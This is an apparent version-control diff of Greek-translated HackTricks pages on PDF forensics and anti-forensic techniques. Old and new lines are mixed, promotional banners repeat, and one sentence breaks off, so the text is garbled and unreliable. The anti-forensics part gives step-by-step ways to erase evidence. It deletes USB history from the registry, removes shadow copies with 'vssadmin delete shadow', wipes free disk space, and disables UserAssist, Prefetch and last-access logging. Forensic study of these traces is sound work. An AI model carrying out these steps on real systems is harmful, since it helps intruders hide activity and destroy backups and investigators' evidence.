Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,52 +1,54 @@
# Ανάλυση αρχείου PDF
# Ανάλυση αρχείων PDF
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
**Για περισσότερες λεπτομέρειες ελέγξτε:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
Η μορφή PDF είναι γνωστή για την πολυπλοκότητά της και τη δυνατότητά της να κρύβει δεδομένα, κάτι που την καθιστά εστίαση για προκλήσεις ψηφιακής ανάλυσης στον τομέα των CTF. Συνδυάζει στοιχεία κειμένου με δυαδικά αντικείμενα, τα οποία ενδέχεται να είναι συμπιεσμένα ή κρυπτογραφημένα, και μπορεί να περιλαμβάνει σενάρια σε γλώσσες όπως η JavaScript ή το Flash. Για να κατανοήσετε τη δομή των PDF, μπορείτε να ανατρέξετε στο [εισαγωγικό υλικό](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) του Didier Stevens ή να χρησιμοποιήσετε εργαλεία όπως έναν επεξεργαστή κειμένου ή έναν επεξεργαστή PDF όπως το Origami.
Η μορφή PDF είναι γνωστή για την πολυπλοκότητά της και την πιθανότητα απόκρυψης δεδομένων, καθιστώντας την κεντρικό σημείο για προκλήσεις ψηφιακής εγκληματολογίας CTF. Συνδυάζει στοιχεία απλού κειμένου με δυαδικά αντικείμενα, τα οποία μπορεί να είναι συμπιεσμένα ή κρυπτογραφημένα, και μπορεί να περιλαμβάνει σενάρια σε γλώσσες όπως JavaScript ή Flash. Για να κατανοήσετε τη δομή του PDF, μπορείτε να ανατρέξετε στο [εισαγωγικό υλικό του Didier Stevens](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), ή να χρησιμοποιήσετε εργαλεία όπως ένας επεξεργαστής κειμένου ή ένας ειδικός επεξεργαστής PDF όπως το Origami.
Για εμβάθυνση ή επεξεργασία PDF, υπάρχουν διαθέσιμα εργαλεία όπως το [qpdf](https://github.com/qpdf/qpdf) και το [Origami](https://github.com/mobmewireless/origami-pdf). Τα κρυμμένα δεδομένα μέσα σε PDF μπορεί να είναι κρυμμένα σε:
Για σε βάθος εξερεύνηση ή χειρισμό PDF, είναι διαθέσιμα εργαλεία όπως το [qpdf](https://github.com/qpdf/qpdf) και το [Origami](https://github.com/mobmewireless/origami-pdf). Τα κρυμμένα δεδομένα μέσα σε PDF μπορεί να είναι κρυμμένα σε:
* Αόρατα επίπεδα
* Μορφή μεταδεδομένων XMP από την Adobe
* Επιμέρους γενιές
* Κείμενο με τον ίδιο χρωματισμό με το φόντο
* Σταδιακές γενιές
* Κείμενο με το ίδιο χρώμα όπως το φόντο
* Κείμενο πίσω από εικόνες ή επικαλυπτόμενες εικόνες
* Σχόλια που δεν εμφανίζονται
* Μη εμφανιζόμενα σχόλια
Για προσαρμοσμένη ανάλυση PDF, μπορούν να χρησιμοποιηθούν βιβλιοθήκες Python όπως το [PeepDF](https://github.com/jesparza/peepdf) για τη δημιουργία προσαρμοσμένων σεναρίων ανάλυσης. Επιπλέον, το δυναμικό των PDF για κρυμμένη αποθήκευση δεδομένων είναι τόσο μεγάλο που πηγές όπως ο οδηγός της NSA για τους κινδύνους και τα μέτρα ασφαλείας στα PDF, αν και πλέον δεν φιλοξενείται στην αρχική του τοποθεσία, παρέχουν αξιόλογες πληροφορίες. Ένα [αντίγραφο του οδηγού](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) και μια συλλογή από [κόλπα μορφής PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) από τον Ange Albertini μπορούν να παρέχουν περαιτέρω ανάγνωση επί του θέματος.
Για προσαρμοσμένη ανάλυση PDF, μπορούν να χρησιμοποιηθούν βιβλιοθήκες Python όπως το [PeepDF](https://github.com/jesparza/peepdf) για τη δημιουργία ειδικών σεναρίων ανάλυσης. Επιπλέον, η δυνατότητα του PDF για αποθήκευση κρυφών δεδομένων είναι τόσο εκτενής που πόροι όπως ο οδηγός της NSA για τους κινδύνους και τα μέτρα κατά των PDF, αν και δεν φιλοξενούνται πλέον στην αρχική τους τοποθεσία, προσφέρουν ακόμα πολύτιμες πληροφορίες. Ένας [αντίγραφος του οδηγού](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) και μια συλλογή από [κόλπα μορφής PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) από τον Ange Albertini μπορούν να προσφέρουν περαιτέρω ανάγνωση στο θέμα.
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,113 +1,179 @@
# Anti-Forensic Techniques
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Timestamps
# Χρονικές σημάνσεις
Ένας επιτιθέμενος μπορεί να ενδιαφέρεται να **αλλάξει τις χρονικές σφραγίδες των αρχείων** για να αποφύγει την ανίχνευση.\
Είναι δυνατόν να βρείτε τις χρονικές σφραγίδες μέσα στο MFT σε χαρακτηριστικά `$STANDARD_INFORMATION` \_\_ και \_\_ `$FILE_NAME`.
Ένας επιτιθέμενος μπορεί να ενδιαφέρεται να **αλλάξει τις χρονικές σημάνσεις των αρχείων** για να αποφύγει την ανίχνευσή του.\
Είναι δυνατόν να βρεθούν οι χρονικές σημάνσεις μέσα στο MFT στα χαρακτηριστικά `$STANDARD_INFORMATION` __και__ __`$FILE_NAME`.
Και τα δύο χαρακτηριστικά έχουν 4 χρονικές σφραγίδες: **Τροποποίηση**, **πρόσβαση**, **δημιουργία** και **τροποποίηση μητρώου MFT** (MACE ή MACB).
Και τα δύο χαρακτηριστικά έχουν 4 χρονικές σημάνσεις: **Τροποποίηση**, **πρόσβαση**, **δημιουργία** και **τροποποίηση καταγραφής MFT** (MACE ή MACB).
**Ο εξερευνητής των Windows** και άλλα εργαλεία δείχνουν τις πληροφορίες από **`$STANDARD_INFORMATION`**.
Ο **Windows explorer** και άλλα εργαλεία εμφανίζουν τις πληροφορίες από το **`$STANDARD_INFORMATION`**.
### TimeStomp - Anti-forensic Tool
## TimeStomp - Εργαλείο αντι-ανακριτικής
Αυτό το εργαλείο **τροποποιεί** τις πληροφορίες χρονικής σφραγίδας μέσα στο **`$STANDARD_INFORMATION`** **αλλά** **όχι** τις πληροφορίες μέσα στο **`$FILE_NAME`**. Επομένως, είναι δυνατόν να **εντοπιστεί** **ύποπτη** **δραστηριότητα**.
Αυτό το εργαλείο **τροποποιεί** τις πληροφορίες των χρονικών σημάνσεων μέσα στο **`$STANDARD_INFORMATION`** **αλλά όχι** τις πληροφορίες μέσα στο **`$FILE_NAME`**. Επομένως, είναι δυνατόν να **ανιχνευθεί** **ύποπτη** **δραστηριότητα**.
### Usnjrnl
## Usnjrnl
Το **USN Journal** (Ημερολόγιο Αριθμού Ακολουθίας Ενημέρωσης) είναι μια δυνατότητα του NTFS (σύστημα αρχείων Windows NT) που παρακολουθεί τις αλλαγές του όγκου. Το εργαλείο [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) επιτρέπει την εξέταση αυτών των αλλαγών.
Το **USN Journal** (Update Sequence Number Journal) είναι μια λειτουργία του NTFS (σύστημα αρχείων Windows NT) που καταγράφει τις αλλαγές του όγκου. Το εργαλείο [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) επιτρέπει την εξέταση αυτών των αλλαγών.
![](<../../.gitbook/assets/image (801).png>)
![](<../../.gitbook/assets/image (449).png>)
Η προηγούμενη εικόνα είναι η **έξοδος** που εμφανίζεται από το **εργαλείο** όπου μπορεί να παρατηρηθεί ότι κάποιες **αλλαγές πραγματοποιήθηκαν** στο αρχείο.
Η προηγούμενη εικόνα είναι το **αποτέλεσμα** που εμφανίζεται από το **εργαλείο** όπου μπορεί να παρατηρηθεί ότι έγιναν κάποιες **αλλαγές** στο αρχείο.
### $LogFile
## $LogFile
**Όλες οι αλλαγές μεταδεδομένων σε ένα σύστημα αρχείων καταγράφονται** σε μια διαδικασία γνωστή ως [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Τα καταγεγραμμένα μεταδεδομένα διατηρούνται σε ένα αρχείο με όνομα `**$LogFile**`, που βρίσκεται στον ριζικό κατάλογο ενός συστήματος αρχείων NTFS. Εργαλεία όπως το [LogFileParser](https://github.com/jschicht/LogFileParser) μπορούν να χρησιμοποιηθούν για την ανάλυση αυτού του αρχείου και την αναγνώριση αλλαγών.
**Όλες οι αλλαγές μεταδεδομένων σε ένα σύστημα αρχείων καταγράφονται** σε ένα διαδικασία που ονομάζεται [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Τα καταγεγραμμένα μεταδεδομένα κρατούνται σε ένα αρχείο με το όνομα `**$LogFile**`, που βρίσκεται στον ριζικό κατάλογο ενός συστήματος αρχείων NTFS. Εργαλεία όπως το [LogFileParser](https://github.com/jschicht/LogFileParser) μπορούν να χρησιμοποιηθούν για να αναλύσουν αυτό το αρχείο και να ανιχνεύσουν αλλαγές.
![](<../../.gitbook/assets/image (137).png>)
![](<../../.gitbook/assets/image (450).png>)
Και πάλι, στην έξοδο του εργαλείου είναι δυνατόν να δούμε ότι **κάποιες αλλαγές πραγματοποιήθηκαν**.
Και πάλι, στην έξοδο του εργαλείου είναι δυνατόν να δείτε ότι **έγιναν κάποιες αλλαγές**.
Χρησιμοποιώντας το ίδιο εργαλείο είναι δυνατόν να εντοπιστεί **σε ποια χρονική στιγμή τροποποιήθηκαν οι χρονικές σφραγίδες**:
Χρησιμοποιώντας το ίδιο εργαλείο είναι δυνατόν να ανιχνευθεί σε **ποια χρονική στιγμή τροποποιήθηκαν οι χρονικές σημάνσεις**:
![](<../../.gitbook/assets/image (1089).png>)
![](<../../.gitbook/assets/image (451).png>)
* CTIME: Χρόνος δημιουργίας αρχείου
* ATIME: Χρόνος τροποποίησης αρχείου
* MTIME: Τροποποίηση μητρώου MFT του αρχείου
* RTIME: Χρόνος πρόσβασης αρχείου
* CTIME: Χρόνος δημιουργίας του αρχείου
* ATIME: Χρόνος τροποποίησης του αρχείου
* MTIME: Χρόνος τροποποίησης του μητρώου MFT του αρχείου
* RTIME: Χρόνος πρόσβασης στο αρχείο
### `$STANDARD_INFORMATION` και `$FILE_NAME` σύγκριση
## Σύγκριση `$STANDARD_INFORMATION` και `$FILE_NAME`
Ένας άλλος τρόπος για να εντοπιστούν ύποπτα τροποποιημένα αρχεία θα ήταν να συγκρίνουμε τον χρόνο και στα δύο χαρακτηριστικά αναζητώντας **ασυμφωνίες**.
Ένας άλλος τ
## Διαγραφή Ιστορικού USB
### Νανοδευτερόλεπτα
Όλες οι **καταχωρήσεις συσκευών USB** αποθηκεύονται στο Μητρώο των Windows κάτω από το κλειδί μητρώου **USBSTOR**, το οποίο περιέχει υποκλειδιά που δημιουργούνται κάθε φορά που συνδέετε μια συσκευή USB στον υπολογιστή ή το laptop σας. Μπορείτε να βρείτε αυτό το κλειδί εδώ: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Διαγράφοντας αυτό**, θα διαγράψετε το ιστορικό USB.\
Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) για να είστε βέβαιοι ότι τα έχετε διαγράψει (και για να τα διαγράψετε).
Οι χρονικές σφραγίδες του **NTFS** έχουν **ακρίβεια** **100 νανοδευτερολέπτων**. Έτσι, η εύρεση αρχείων με χρονικές σφραγίδες όπως 2010-10-10 10:10:**00.000:0000 είναι πολύ ύποπτη**.
Ένα άλλο αρχείο που αποθηκεύει πληροφορίες σχετικά με τις USB είναι το αρχείο `setupapi.dev.log` μέσα στο `C:\Windows\INF`. Αυτό πρέπει επίσης να διαγραφεί.
### SetMace - Anti-forensic Tool
## Απενεργοποίηση Αντιγράφων Σκιάς
Αυτό το εργαλείο μπορεί να τροποποιήσει και τα δύο χαρακτηριστικά `$STARNDAR_INFORMATION` και `$FILE_NAME`. Ωστόσο, από τα Windows Vista, είναι απαραίτητο να υπάρχει ένα ζωντανό λειτουργικό σύστημα για να τροποποιήσει αυτές τις πληροφορίες.
**Λίστα** αντιγράφων σκιάς με την εντολή `vssadmin list shadowstorage`\
**Διαγραφή** τους με την εντολή `vssadmin delete shadow`
## Data Hiding
Μπορείτε επίσης να τα διαγράψετε μέσω του γραφικού περιβάλλοντος ακολουθώντας τα βήματα που προτείνονται στην [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
Το NFTS χρησιμοποιεί ένα cluster και το ελάχιστο μέγεθος πληροφορίας. Αυτό σημαίνει ότι αν ένα αρχείο καταλαμβάνει και ένα cluster και μισό, το **υπόλοιπο μισό δεν θα χρησιμοποιηθεί ποτέ** μέχρι να διαγραφεί το αρχείο. Έτσι, είναι δυνατόν να **κρυφτεί δεδομένα σε αυτόν τον χώρο slack**.
Για να απενεργοποιήσετε τα αντίγραφα σκιάς [βήματα από εδώ](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
Υπάρχουν εργαλεία όπως το slacker που επιτρέπουν την απόκρυψη δεδομένων σε αυτόν τον "κρυφό" χώρο. Ωστόσο, μια ανάλυση του `$logfile` και του `$usnjrnl` μπορεί να δείξει ότι προστέθηκαν κάποια δεδομένα:
1. Ανοίξτε το πρόγραμμα Υπηρεσιών πληκτρολογώντας "services" στο πλαίσιο αναζήτησης κειμένου μετά από κλικ στο κουμπί Έναρξη των Windows.
2. Από τη λίστα, βρείτε την "Volume Shadow Copy", επιλέξτε την και στη συνέχεια αποκτήστε πρόσβαση στις Ιδιότητες κάνοντας δεξί κλικ.
3. Επιλέξτε την επιλογή "Disabled" από το αναπτυσσόμενο μενού "Τύπος εκκίνησης" και επιβεβαιώστε την αλλαγή κάνοντας κλικ στο Εφαρμογή και ΟΚ.
![](<../../.gitbook/assets/image (1060).png>)
Είναι επίσης δυνατή η τροποποίηση της διαμόρφωσης των αρχείων που θα αντιγραφούν στο αντίγραφο σκιάς στο μητρώο `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
Έτσι, είναι δυνατόν να ανακτηθεί ο χώρος slack χρησιμοποιώντας εργαλεία όπως το FTK Imager. Σημειώστε ότι αυτός ο τύπος εργαλείου μπορεί να αποθηκεύσει το περιεχόμενο κρυπτογραφημένο ή ακόμα και κρυπτογραφημένο.
## Αντικατάσταση διαγραμμένων αρχείων
## UsbKill
* Μπορείτε να χρησιμοποιήσετε ένα **εργαλείο των Windows**: `cipher /w:C` Αυτό θα οδηγήσει το cipher να αφαιρέσει οποιαδήποτε δεδομένα από το διαθέσιμο αχρησιμοποίητο χώρο στον δίσκο C.
Αυτό είναι ένα εργαλείο που θα **κλείσει τον υπολογιστή αν ανιχνευθεί οποιαδήποτε αλλαγή στις θύρες USB**.\
Ένας τρόπος για να το ανακαλύψετε θα ήταν να ελέγξετε τις τρέχουσες διαδικασίες και να **εξετάσετε κάθε εκτελέσιμο python script**.
## Live Linux Distributions
Αυτές οι διανομές **εκτελούνται μέσα στη μνήμη RAM**. Ο μόνος τρόπος για να τις ανιχνεύσετε είναι **σε περίπτωση που το σύστημα αρχείων NTFS είναι προσαρτημένο με δικαιώματα εγγραφής**. Αν είναι προσαρτημένο μόνο με δικαιώματα ανάγνωσης, δεν θα είναι δυνατόν να ανιχνευθεί η εισβολή.
## Secure Deletion
[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
## Windows Configuration
Είναι δυνατόν να απενεργοποιηθούν πολλές μέθοδοι καταγραφής των Windows για να καταστεί η εγκληματολογική έρευνα πολύ πιο δύσκολη.
### Disable Timestamps - UserAssist
Αυτό είναι ένα κλειδί μητρώου που διατηρεί ημερομηνίες και ώρες όταν κάθε εκτελέσιμο αρχείο εκτελείται από τον χρήστη.
Η απενεργοποίηση του UserAssist απαιτεί δύο βήματα:
1. Ρυθμίστε δύο κλειδιά μητρώου, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` και `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, και τα δύο στο μηδέν για να δηλώσετε ότι θέλουμε να απενεργοποιηθεί το UserAssist.
2. Καθαρίστε τους υποκαταλόγους του μητρώου σας που μοιάζουν με `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`.
### Disable Timestamps - Prefetch
Αυτό θα αποθηκεύσει πληροφορίες σχετικά με τις εφαρμογές που εκτελούνται με στόχο τη βελτίωση της απόδοσης του συστήματος Windows. Ωστόσο, αυτό μπορεί επίσης να είναι χρήσιμο για εγκληματολογικές πρακτικές.
* Εκτελέστε `regedit`
* Επιλέξτε τη διαδρομή αρχείου `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
* Κάντε δεξί κλικ και στα δύο `EnablePrefetcher` και `EnableSuperfetch`
* Επιλέξτε Τροποποίηση σε καθένα από αυτά για να αλλάξετε την τιμή από 1 (ή 3) σε 0
* Επανεκκινήστε
### Disable Timestamps - Last Access Time
Όποτε ένα φάκελος ανοίγεται από έναν όγκο NTFS σε έναν διακομιστή Windows NT, το σύστημα παίρνει τον χρόνο για να **ενημερώσει ένα πεδίο χρονικής σφραγίδας σε κάθε καταχωρημένο φάκελο**, που ονομάζεται χρόνος τελευταίας πρόσβασης. Σε έναν πολύ χρησιμοποιούμενο όγκο NTFS, αυτό μπορεί να επηρεάσει την απόδοση.
1. Ανοίξτε τον Επεξεργαστή Μητρώου (Regedit.exe).
2. Περιηγηθείτε στο `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
3. Αναζητήστε το `NtfsDisableLastAccessUpdate`. Αν δεν υπάρχει, προσθέστε αυτό το DWORD και ρυθμίστε την τιμή του σε 1, που θα απενεργοποιήσει τη διαδικασία.
